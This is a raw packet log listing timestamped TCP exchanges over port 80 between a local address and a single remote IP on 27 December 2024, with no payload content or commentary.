Dec 27, 2024 15:09:18.404783010 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.404890060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.405729055 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.405819893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.405853987 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.405853987 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.406780005 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.406832933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.406897068 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.407810926 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.407891035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.408813953 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.408873081 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.408907890 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.408951998 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.409806967 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.409923077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.410191059 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.410844088 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.410945892 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.411927938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.412014961 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.412044048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.412142038 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.412942886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.413012981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.414069891 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.414087057 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.414139986 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.414139986 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.415072918 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.415191889 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.416039944 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.416114092 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.416201115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.416201115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.416985989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.417109966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.417365074 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.418040991 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.418134928 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.419059038 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.419161081 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.419253111 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.419253111 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.420066118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.420181990 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.421216011 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.421386957 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.421408892 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.421483040 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.422367096 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.422585964 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.422651052 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.423542976 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.423657894 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.424719095 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.424753904 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.424777985 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.424803972 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.425393105 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.425450087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.426170111 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.426215887 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.426337004 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.427236080 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.427297115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.427346945 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.427408934 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.428246975 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.428369999 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.429306030 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.429400921 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.429420948 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.429447889 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.430314064 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.430444002 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.430535078 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.431354046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.431476116 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.432130098 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.432363033 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.432486057 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.433360100 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.433434963 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.433502913 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.433553934 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.434422970 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.434561968 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.434622049 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.435425997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.435566902 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.436451912 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.436518908 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.436558008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.436666965 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.437463999 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.437750101 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.438147068 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.438574076 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.438678980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.439601898 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.439662933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.439714909 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.439714909 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.440541983 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.440645933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.441582918 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.441648006 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.441649914 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.441735983 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.442572117 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.494663954 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.581006050 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.581145048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.581290007 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.581537008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.581614971 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.582195044 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.582312107 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.582408905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.583389044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.583451033 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.583512068 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.583512068 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.584484100 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.584500074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.584655046 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.585381985 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.585448980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.585551023 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.586371899 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.586426020 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.586498022 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.587459087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.587593079 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.588429928 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.588495016 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.588535070 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.588587046 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.589447975 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.589565992 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.590157032 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.590481997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.590607882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.591494083 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.591566086 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.591592073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.591671944 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.592505932 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.592629910 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.593542099 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.593606949 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.593624115 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.593703032 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.594572067 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.594670057 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.594753981 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.595583916 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.595710039 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.596626043 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.596719027 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.596729040 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.596767902 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.597681046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.597790003 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.598157883 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.598664045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.598790884 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.599684000 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.599733114 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.599797964 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.599911928 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.600754023 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.600856066 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.601733923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.601808071 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.601845980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.601932049 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.602751017 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.602844000 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.602901936 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.603761911 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.603954077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.604021072 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.604902983 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.604979992 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.605046034 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.605863094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.605987072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.606158018 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.606920004 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.607038021 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.607949972 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.608025074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.608040094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.608124018 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.608927965 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.609041929 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.609931946 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.610001087 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.610058069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.610107899 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.610961914 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.611085892 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.611138105 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.611964941 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.612149954 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.612986088 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.613044977 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.613123894 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.613209963 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.614006996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.614094973 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.614155054 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.615060091 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.615227938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.616158009 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.616247892 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.616251945 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.616322041 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.617086887 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.617274046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.618088007 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.618191004 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.618226051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.618313074 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.619141102 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.619296074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.620137930 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.620199919 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.620218992 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.620265961 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.621171951 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.621243000 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.622179985 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.622205973 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.622284889 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.623284101 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.623332977 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.623404980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.623466015 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.625513077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.625591993 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.626147032 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.626326084 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.626471043 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.627248049 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.627293110 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.627381086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.627445936 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.628277063 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.628310919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.629076958 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.629164934 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.629177094 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.629210949 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.629906893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.630023956 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.630162001 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.630804062 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.630914927 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.631664991 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.631714106 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.631728888 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.631773949 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.632498980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.632648945 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.633770943 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.633821964 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.633908987 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.633965969 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.634605885 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.682176113 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.773282051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.773370028 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.773437023 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.773916006 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.774015903 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.774059057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.774776936 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.774880886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.774923086 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.775856018 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.776004076 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.776114941 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.776964903 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.777017117 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.777080059 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.777834892 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.777971029 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.778053045 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.778887987 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.779011965 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.779072046 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.779895067 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.779997110 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.780075073 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.780986071 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.781059980 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.781905890 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.781996012 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.782078981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.782169104 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.783040047 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.783179045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.783720016 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.784094095 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.784156084 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.784259081 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.785413027 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.785464048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.785542965 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.786016941 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.786118031 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.786215067 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.787075996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.787306070 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.787461996 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.788099051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.788211107 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.788403988 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.789103985 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.789247990 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.789338112 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.790123940 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.790277958 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.790365934 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.791150093 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.791270018 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.792227983 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.792289019 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.792329073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.792380095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.793167114 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.793281078 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.793349028 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.794207096 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.794372082 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.794487953 CET	49718	80	192.168.2.5	185.215.113.16
